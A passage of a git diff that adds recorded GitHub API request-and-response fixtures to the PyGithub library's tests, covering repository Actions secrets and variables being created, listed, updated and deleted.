'W/"67399725c68d9a5ee63ce84722fc582053e664007fe7d947d4f7399caa4bc6b5"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4756'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '244'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED0B:0ADB:1356FD6:28BDD64:655930E6')] +{"key_id":"568250167242549743","key":"xbyho85Ug/ysuXTKJPangp/Yn66bsia6PY55UsDPM1g="} + +https +PUT +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/secrets/SECRET_NAME_TWO +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"key_id": "568250167242549743", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} +201 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4755'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '245'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ED0C:205D:2FD63C:64D69F:655930E6')] +{} + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub +{'If-None-Match': 'W/"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"', 'If-Modified-Since': 'Sat, 18 Nov 2023 13:36:18 GMT', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +304 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:18 GMT'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4755'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '245'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ED0D:696A:1318BA6:2836623:655930E6')] + + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/secrets +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"dfd10ce92e44f142f289edd11124c46ebb0c0b57561186f199c00458d5e5d69c"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4754'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '246'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED0E:97A3:1348768:289B21F:655930E7')] +{"total_count":2,"secrets":[{"name":"SECRET_NAME_ONE","created_at":"2023-11-18T21:47:18Z","updated_at":"2023-11-18T21:47:18Z"},{"name":"SECRET_NAME_TWO","created_at":"2023-11-18T21:47:19Z","updated_at":"2023-11-18T21:47:19Z"}]} + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/secrets/SECRET_NAME_ONE +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:19 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4753'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '247'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ED0F:5BBE:143ACFD:2A7AA0E:655930E7')] + + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/secrets/SECRET_NAME_TWO +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:19 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4752'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '248'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ED10:427F:2BBBF4:5C9975:655930E7')] diff --git a/tests/ReplayData/Repository.testRepoVariable.txt b/tests/ReplayData/Repository.testRepoVariable.txt new file mode 100644 index 0000000000..313c72c585 --- /dev/null +++ b/tests/ReplayData/Repository.testRepoVariable.txt @@ -0,0 +1,31 @@ +https +POST +api.github.com +None +/repos/jacquev6/PyGithub/actions/variables +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "variable_name", "value": "variable-value"} +201 +[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ab9b40dea6722e415dd424b31be226eac6da76ca693e83c73fed865610a4937e"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4899'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '101'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '608F:387C:CEA47:1A4258:649C87C3')] +{} + +https +PATCH +api.github.com +None +/repos/jacquev6/PyGithub/actions/variables/variable_name +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "variable_name", "value": "variable-value123"} +204 +[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:33 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4898'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '102'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '6BD2:49D7:E5FA9:1D2240:649C87C5')] + + +https +DELETE +api.github.com +None +/repos/jacquev6/PyGithub/actions/variables/variable_name +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:35 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4897'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '103'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '10FC:400A:BB162:17BE3C:649C87C6')] diff --git a/tests/ReplayData/Repository.testRepoVariables.txt b/tests/ReplayData/Repository.testRepoVariables.txt new file mode 100644 index 0000000000..6dcf3aea62 --- /dev/null +++ b/tests/ReplayData/Repository.testRepoVariables.txt @@ -0,0 +1,75 @@ +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4793'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '207'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ECD0:3AF1:FC6E76:2160B45:655930BF')] +{"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-18T21:26:15Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11644,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-17T07:50:23Z","pushed_at":"2023-11-18T21:45:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13598,"stargazers_count":6375,"watchers_count":6375,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1692,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":285,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License 